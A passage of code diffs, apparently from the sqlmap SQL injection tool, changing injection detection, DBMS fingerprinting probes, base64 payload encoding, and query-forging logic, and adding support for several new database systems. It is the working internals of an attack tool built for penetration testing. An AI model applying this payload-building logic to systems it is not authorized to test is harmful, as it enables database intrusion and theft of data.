infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
||||
@@ -579,7 +580,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
if injectable:
|
||||
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
|
||||
if all((falseCode, trueCode)) and falseCode != trueCode:
|
||||
conf.code = trueCode
|
||||
suggestion = conf.code = trueCode
|
||||
|
||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code)
|
||||
logger.info(infoMsg)
|
||||
@@ -604,7 +605,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
|
||||
break
|
||||
|
||||
conf.string = candidate
|
||||
suggestion = conf.string = candidate
|
||||
|
||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
||||
logger.info(infoMsg)
|
||||
@@ -618,12 +619,12 @@ def checkSqlInjection(place, parameter, value):
|
||||
if re.match(r"\A\w+\Z", candidate):
|
||||
break
|
||||
|
||||
conf.notString = candidate
|
||||
suggestion = conf.notString = candidate
|
||||
|
||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'"))
|
||||
logger.info(infoMsg)
|
||||
|
||||
if not any((conf.string, conf.notString, conf.code)):
|
||||
if not suggestion:
|
||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title)
|
||||
singleTimeLogMessage(infoMsg)
|
||||
|
||||
@@ -885,11 +886,15 @@ def heuristicCheckDbms(injection):
|
||||
|
||||
Backend.forceDbms(dbms)
|
||||
|
||||
if (randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(FROM_DUMMY_TABLE.get(dbms, "")) != 1:
|
||||
continue
|
||||
if dbms in HEURISTIC_NULL_EVAL:
|
||||
result = checkBooleanExpression("(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, "")))
|
||||
elif not ((randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(FROM_DUMMY_TABLE.get(dbms, "")) != 1):
|
||||
result = checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER))
|
||||
else:
|
||||
result = False
|
||||
|
||||
if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
|
||||
if dbms in HEURISTIC_NULL_EVAL and checkBooleanExpression("(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, ""))) or not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
|
||||
if result:
|
||||
if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
|
||||
retVal = dbms
|
||||
break
|
||||
|
||||
@@ -935,6 +940,9 @@ def checkFalsePositives(injection):
|
||||
if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
|
||||
continue
|
||||
|
||||
if conf.notString and any(conf.notString in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
|
||||
continue
|
||||
|
||||
if randInt3 > randInt2 > randInt1:
|
||||
break
|
||||
|
||||
@@ -1573,7 +1581,7 @@ def checkConnection(suppressOutput=False):
|
||||
kb.originalPage = kb.pageTemplate = threadData.lastPage
|
||||
kb.originalCode = threadData.lastCode
|
||||
|
||||
if conf.cj and not conf.cookie and not conf.dropSetCookie:
|
||||
if conf.cj and not conf.cookie and not any(_[0] == HTTP_HEADER.COOKIE for _ in conf.httpHeaders) and not conf.dropSetCookie:
|
||||
candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
|
||||
|
||||
message = "you have not declared cookie(s), while "
|
||||
|
||||
@@ -336,6 +336,10 @@ def start():
|
||||
conf.httpHeaders.append((header, value))
|
||||
break
|
||||
|
||||
if conf.data:
|
||||
# Note: explicitly URL encode __ ASP(.NET) parameters (e.g. to avoid problems with Base64 encoded '+' character) - standard procedure in web browsers
|
||||
conf.data = re.sub(r"\b(__\w+)=([^&]+)", lambda match: "%s=%s" % (match.group(1), urlencode(match.group(2), safe='%')), conf.data)
|
||||
|
||||
conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]
|
||||
|
||||
initTargetEnv()
|
||||
@@ -382,7 +386,7 @@ def start():
|
||||
message += "\nCookie: %s" % conf.cookie
|
||||
|
||||
if conf.data is not None:
|
||||
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
|
||||
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
|
||||
|
||||
if conf.forms and conf.method:
|
||||
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
|
||||
@@ -413,14 +417,17 @@ def start():
|
||||
parseTargetUrl()
|
||||
|
||||
else:
|
||||
message += "\ndo you want to test this URL? [Y/n/q]"
|
||||
choice = readInput(message, default='Y').upper()
|
||||
if not conf.scope:
|
||||
message += "\ndo you want to test this URL? [Y/n/q]"
|
||||
choice = readInput(message, default='Y').upper()
|
||||
|
||||
if choice == 'N':
|
||||
dataToStdout(os.linesep)
|
||||
continue
|
||||
elif choice == 'Q':
|
||||
break
|
||||
if choice == 'N':
|
||||
dataToStdout(os.linesep)
|
||||
continue
|
||||
elif choice == 'Q':
|
||||
break
|
||||
else:
|
||||
pass
|
||||
|
||||
infoMsg = "testing URL '%s'" % targetUrl
|
||||
logger.info(infoMsg)
|
||||
|
||||
@@ -13,9 +13,14 @@ from lib.core.enums import DBMS
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from lib.core.settings import ACCESS_ALIASES
|
||||
from lib.core.settings import ALTIBASE_ALIASES
|
||||
from lib.core.settings import CACHE_ALIASES
|
||||
from lib.core.settings import CRATEDB_ALIASES
|
||||
from lib.core.settings import CUBRID_ALIASES
|
||||
from lib.core.settings import DB2_ALIASES
|
||||
from lib.core.settings import DERBY_ALIASES
|
||||
from lib.core.settings import EXTREMEDB_ALIASES
|
||||
from lib.core.settings import FIREBIRD_ALIASES
|
||||
from lib.core.settings import FRONTBASE_ALIASES
|
||||
from lib.core.settings import H2_ALIASES
|
||||
from lib.core.settings import HSQLDB_ALIASES
|
||||
from lib.core.settings import INFORMIX_ALIASES
|
||||
@@ -37,12 +42,22 @@ from plugins.dbms.access.connector import Connector as AccessConn
|
||||
from plugins.dbms.access import AccessMap
|
||||
from plugins.dbms.altibase.connector import Connector as AltibaseConn
|
||||
from plugins.dbms.altibase import AltibaseMap
|
||||
from plugins.dbms.cache.connector import Connector as CacheConn
|
||||
from plugins.dbms.cache import CacheMap
|
||||
from plugins.dbms.cratedb.connector import Connector as CrateDBConn
|
||||
from plugins.dbms.cratedb import CrateDBMap
|
||||
from plugins.dbms.cubrid.connector import Connector as CubridConn
|
||||
from plugins.dbms.cubrid import CubridMap
|
||||
from plugins.dbms.db2.connector import Connector as DB2Conn
|
||||
from plugins.dbms.db2 import DB2Map
|
||||
from plugins.dbms.derby.connector import Connector as DerbyConn
|
||||
from plugins.dbms.derby import DerbyMap
|
||||
from plugins.dbms.extremedb.connector import Connector as ExtremeDBConn
|
||||
from plugins.dbms.extremedb import ExtremeDBMap
|
||||
from plugins.dbms.firebird.connector import Connector as FirebirdConn
|
||||
from plugins.dbms.firebird import FirebirdMap
|
||||
from plugins.dbms.frontbase.connector import Connector as FrontBaseConn
|
||||
from plugins.dbms.frontbase import FrontBaseMap
|
||||
from plugins.dbms.h2.connector import Connector as H2Conn
|
||||
from plugins.dbms.h2 import H2Map
|
||||
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
|
||||
@@ -101,6 +116,11 @@ def setHandler():
|
||||
(DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn),
|
||||
(DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn),
|
||||
(DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn),
|
||||
(DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn),
|
||||
(DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn),
|
||||
(DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn),
|
||||
(DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, ExtremeDBConn),
|
||||
(DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, FrontBaseConn),
|
||||
]
|
||||
|
||||
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
|
||||
|
||||
@@ -110,6 +110,7 @@ class Agent(object):
|
||||
paramDict = conf.paramDict[place]
|
||||
origValue = getUnicode(paramDict[parameter])
|
||||
newValue = getUnicode(newValue) if newValue else newValue
|
||||
base64Encoding = re.sub(r" \(.+", "", parameter) in conf.base64Parameter
|
||||
|
||||
if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
|
||||
paramString = origValue
|
||||
@@ -171,19 +172,30 @@ class Agent(object):
|
||||
|
||||
newValue = "%s%s" % (value, newValue)
|
||||
|
||||
newValue = self.cleanupPayload(newValue, origValue)
|
||||
newValue = self.cleanupPayload(newValue, origValue) or ""
|
||||
|
||||
if base64Encoding:
|
||||
_newValue = newValue
|
||||
_origValue = origValue
|
||||
|
||||
if newValue:
|
||||
newValue = newValue.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
|
||||
newValue = self.adjustLateValues(newValue)
|
||||
|
||||
if re.sub(r" \(.+", "", parameter) in conf.base64Parameter:
|
||||
# TODO: support for POST_HINT
|
||||
newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||
newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
|
||||
|
||||
if parameter in kb.base64Originals:
|
||||
origValue = kb.base64Originals[parameter]
|
||||
else:
|
||||
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||
|
||||
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
|
||||
_ = "%s%s" % (origValue, kb.customInjectionMark)
|
||||
|
||||
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
|
||||
newValue = '"%s"' % self.addPayloadDelimiters(newValue)
|
||||
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString:
|
||||
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None:
|
||||
newValue = "'%s'" % self.addPayloadDelimiters(newValue)
|
||||
else:
|
||||
newValue = self.addPayloadDelimiters(newValue)
|
||||
@@ -194,7 +206,13 @@ class Agent(object):
|
||||
|
||||
retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
|
||||
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
|
||||
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
|
||||
if base64Encoding:
|
||||
retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue)
|
||||
match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal)
|
||||
if match:
|
||||
retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING)))
|
||||
else:
|
||||
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
|
||||
elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
|
||||
retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
|
||||
else:
|
||||
@@ -300,8 +318,9 @@ class Agent(object):
|
||||
where = getTechniqueData().where if where is None else where
|
||||
comment = getTechniqueData().comment if comment is None else comment
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI) and any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)):
|
||||
comment = queries[Backend.getIdentifiedDbms()].comment.query
|
||||
if any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)):
|
||||
if Backend.getIdentifiedDbms() and not GENERIC_SQL_COMMENT.startswith(queries[Backend.getIdentifiedDbms()].comment.query):
|
||||
comment = queries[Backend.getIdentifiedDbms()].comment.query
|
||||
|
||||
if comment is not None:
|
||||
expression += comment
|
||||
@@ -387,7 +406,7 @@ class Agent(object):
|
||||
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
|
||||
payload = payload.replace(_, randomStr())
|
||||
|
||||
if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB):
|
||||
if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB, FORK.DRIZZLE):
|
||||
payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload)
|
||||
payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload)
|
||||
payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload)
|
||||
@@ -409,7 +428,7 @@ class Agent(object):
|
||||
rootQuery = queries[Backend.getIdentifiedDbms()]
|
||||
hexField = field
|
||||
|
||||
if "hex" in rootQuery:
|
||||
if "hex" in rootQuery and hasattr(rootQuery.hex, "query"):
|
||||
hexField = rootQuery.hex.query % field
|
||||
else:
|
||||
warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()
|
||||
@@ -449,7 +468,7 @@ class Agent(object):
|
||||
|
||||
nulledCastedField = field
|
||||
|
||||
if field:
|
||||
if field and Backend.getIdentifiedDbms():
|
||||
rootQuery = queries[Backend.getIdentifiedDbms()]
|
||||
|
||||
if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast:
|
||||
@@ -534,7 +553,7 @@ class Agent(object):
|
||||
"""
|
||||
|
||||
prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*"
|
||||
fieldsSelectTop = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
|
||||
fieldsSelectTop = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+(.+?)\s+FROM", query, re.I)
|
||||
fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I)
|
||||
fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
|
||||
fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
|
||||
@@ -559,7 +578,7 @@ class Agent(object):
|
||||
if fieldsSelect:
|
||||
fieldsToCastStr = fieldsSelect.group(1)
|
||||
elif fieldsSelectTop:
|
||||
fieldsToCastStr = fieldsSelectTop.group(1)
|
||||
fieldsToCastStr = fieldsSelectTop.group(2)
|
||||
elif fieldsSelectRownum:
|
||||
fieldsToCastStr = fieldsSelectRownum.group(1)
|
||||
elif fieldsSelectDistinct:
|
||||
@@ -659,7 +678,7 @@ class Agent(object):
|
||||
elif fieldsNoSelect:
|
||||
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
|
||||
if fieldsExists:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
||||
concatenatedQuery += "||'%s'" % kb.chars.stop
|
||||
@@ -682,8 +701,8 @@ class Agent(object):
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
|
||||
concatenatedQuery += "+'%s'" % kb.chars.stop
|
||||
elif fieldsSelectTop:
|
||||
topNum = re.search(r"\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1)
|
||||
topNum = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+", concatenatedQuery, re.I).group(1)
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum, "TOP%s '%s'+" % (topNum, kb.chars.start), 1)
|
||||
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
|
||||
elif fieldsSelectCase:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
|
||||
@@ -719,21 +738,43 @@ class Agent(object):
|
||||
warnMsg = "applying generic concatenation (CONCAT)"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
if FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms()):
|
||||
_ = re.sub(r"(?i)%s\Z" % re.escape(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]), "", concatenatedQuery)
|
||||
if _ != concatenatedQuery:
|
||||
concatenatedQuery = _
|
||||
fieldsSelectFrom = None
|
||||
|
||||
if fieldsExists:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
||||
concatenatedQuery += "),'%s')" % kb.chars.stop
|
||||
elif fieldsSelectCase:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
||||
concatenatedQuery += "),'%s')" % kb.chars.stop
|
||||
elif fieldsSelectFrom:
|
||||
elif fieldsSelectFrom or fieldsSelect:
|
||||
fromTable = ""
|
||||
|
||||
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
|
||||
concatenatedQuery = "%s),'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:])
|
||||
if _:
|
||||
concatenatedQuery, fromTable = concatenatedQuery[:_], concatenatedQuery[_:]
|
||||
|
||||
concatenatedQuery = re.sub(r"(?i)\ASELECT ", "", concatenatedQuery)
|
||||
replacement = "'%s',%s,'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||
chars = [_ for _ in replacement]
|
||||
|
||||
count = 0
|
||||
for index in zeroDepthSearch(replacement, ',')[1:]:
|
||||
chars[index] = "),"
|
||||
count += 1
|
||||
|
||||
replacement = "CONCAT(%s%s)" % ("CONCAT(" * count, "".join(chars))
|
||||
concatenatedQuery = "%s%s" % (replacement, fromTable)
|
||||
elif fieldsSelect:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
||||
concatenatedQuery += "),'%s')" % kb.chars.stop
|
||||
elif fieldsNoSelect:
|
||||
concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||
|
||||
|
||||
return concatenatedQuery
|
||||
|
||||
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
|
||||
@@ -948,7 +989,7 @@ class Agent(object):
|
||||
fromFrom = limitedQuery[fromIndex + 1:]
|
||||
orderBy = None
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB):
|
||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
||||
limitedQuery += " %s" % limitStr
|
||||
|
||||
@@ -956,10 +997,15 @@ class Agent(object):
|
||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1)
|
||||
limitedQuery += " %s" % limitStr
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.DERBY,):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB):
|
||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
|
||||
limitedQuery += " %s" % limitStr
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE,):
|
||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
||||
if query.startswith("SELECT "):
|
||||
limitedQuery = query.replace("SELECT ", "SELECT %s " % limitStr, 1)
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,):
|
||||
if query.startswith("SELECT ") and field is not None and field in query:
|
||||
original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
|
||||
@@ -988,6 +1034,15 @@ class Agent(object):
|
||||
if match:
|
||||
orderBy = " ORDER BY %s" % match.group(1)
|
||||
|
||||
elif Backend.isDbms(DBMS.CACHE):
|
||||
match = re.search(r"ORDER BY ([^ ]+)\Z", limitedQuery)
|
||||
if match:
|
||||
limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip()
|
||||
orderBy = " %s" % match.group(0)
|
||||
field = match.group(1)
|
||||
|
||||
limitedQuery = queries[Backend.getIdentifiedDbms()].limit.query % (1, field, limitedQuery, num)
|
||||
|
||||
elif Backend.isDbms(DBMS.FIREBIRD):
|
||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, num + 1)
|
||||
limitedQuery += " %s" % limitStr
|
||||
|
||||
@@ -10,11 +10,11 @@ try:
|
||||
except:
|
||||
import pickle
|
||||
|
||||
import bz2
|
||||
import itertools
|
||||
import os
|
||||
import sys
|
||||
import tempfile
|
||||
import zlib
|
||||
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.enums import MKSTEMP_PREFIX
|
||||
@@ -24,17 +24,17 @@ from lib.core.settings import BIGARRAY_COMPRESS_LEVEL
|
||||
|
||||
DEFAULT_SIZE_OF = sys.getsizeof(object())
|
||||
|
||||
def _size_of(object_):
|
||||
def _size_of(instance):
|
||||
"""
|
||||
Returns total size of a given object_ (in bytes)
|
||||
Returns total size of a given instance / object (in bytes)
|
||||
"""
|
||||
|
||||
retval = sys.getsizeof(object_, DEFAULT_SIZE_OF)
|
||||
retval = sys.getsizeof(instance, DEFAULT_SIZE_OF)
|
||||
|
||||
if isinstance(object_, dict):
|
||||
retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(object_.items()))
|
||||
elif hasattr(object_, "__iter__"):
|
||||
retval += sum(_size_of(_) for _ in object_ if _ != object_)
|
||||
if isinstance(instance, dict):
|
||||
retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(instance.items()))
|
||||
elif hasattr(instance, "__iter__"):
|
||||
retval += sum(_size_of(_) for _ in instance if _ != instance)
|
||||
|
||||
return retval
|
||||
|
||||
@@ -54,8 +54,8 @@ class BigArray(list):
|
||||
|
||||
>>> _ = BigArray(xrange(100000))
|
||||
>>> _[20] = 0
|
||||
>>> _[100]
|
||||
100
|
||||
>>> _[99999]
|
||||
99999
|
||||
"""
|
||||
|
||||
def __init__(self, items=None):
|
||||
@@ -92,7 +92,7 @@ class BigArray(list):
|
||||
self.chunks.pop()
|
||||
try:
|
||||
with open(self.chunks[-1], "rb") as f:
|
||||
self.chunks[-1] = pickle.loads(bz2.decompress(f.read()))
|
||||
self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
|
||||
except IOError as ex:
|
||||
errMsg = "exception occurred while retrieving data "
|
||||
errMsg += "from a temporary file ('%s')" % ex
|
||||
@@ -113,7 +113,7 @@ class BigArray(list):
|
||||
self.filenames.add(filename)
|
||||
os.close(handle)
|
||||
with open(filename, "w+b") as f:
|
||||
f.write(bz2.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
|
||||
f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
|
||||
return filename
|
||||
except (OSError, IOError) as ex:
|
||||
errMsg = "exception occurred while storing data "
|
||||
@@ -131,7 +131,7 @@ class BigArray(list):
|
||||
if not (self.cache and self.cache.index == index):
|
||||
try:
|
||||
with open(self.chunks[index], "rb") as f:
|
||||
self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False)
|
||||
self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False)
|
||||
except Exception as ex:
|
||||
errMsg = "exception occurred while retrieving data "
|
||||
errMsg += "from a temporary file ('%s')" % ex
|
||||
|
||||
@@ -58,6 +58,7 @@ from lib.core.convert import getText
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.convert import htmlUnescape
|
||||
from lib.core.convert import stdoutEncode
|
||||
from lib.core.data import cmdLineOptions
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
@@ -75,6 +76,7 @@ from lib.core.enums import CHARSET_TYPE
|
||||
from lib.core.enums import CONTENT_STATUS
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import EXPECTED
|
||||
from lib.core.enums import HASHDB_KEYS
|
||||
from lib.core.enums import HEURISTIC_TEST
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.enums import HTTPMETHOD
|
||||
@@ -115,6 +117,7 @@ from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||
from lib.core.settings import DEFAULT_MSSQL_SCHEMA
|
||||
from lib.core.settings import DEV_EMAIL_ADDRESS
|
||||
from lib.core.settings import DOLLAR_MARKER
|
||||
from lib.core.settings import DUMMY_USER_INJECTION
|
||||
from lib.core.settings import DYNAMICITY_BOUNDARY_LENGTH
|
||||
from lib.core.settings import ERROR_PARSING_REGEXES
|
||||
@@ -558,6 +561,10 @@ class Backend(object):
|
||||
singleTimeWarnMessage("identified ('%s') and fingerprinted ('%s') DBMSes differ. If you experience problems in enumeration phase please rerun with '--flush-session'" % (Backend.getIdentifiedDbms(), Backend.getDbms()))
|
||||
return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms)
|
||||
|
||||
@staticmethod
|
||||
def isFork(fork):
|
||||
return hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) == fork
|
||||
|
||||
@staticmethod
|
||||
def isDbmsWithin(aliases):
|
||||
return Backend.getDbms() is not None and Backend.getDbms().lower() in aliases
|
||||
@@ -624,7 +631,7 @@ def paramToDict(place, parameters=None):
|
||||
|
||||
if parameter in (conf.base64Parameter or []):
|
||||
try:
|
||||
oldValue = value
|
||||
kb.base64Originals[parameter] = oldValue = value
|
||||
value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||
parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
|
||||
except:
|
||||
@@ -670,17 +677,21 @@ def paramToDict(place, parameters=None):
|
||||
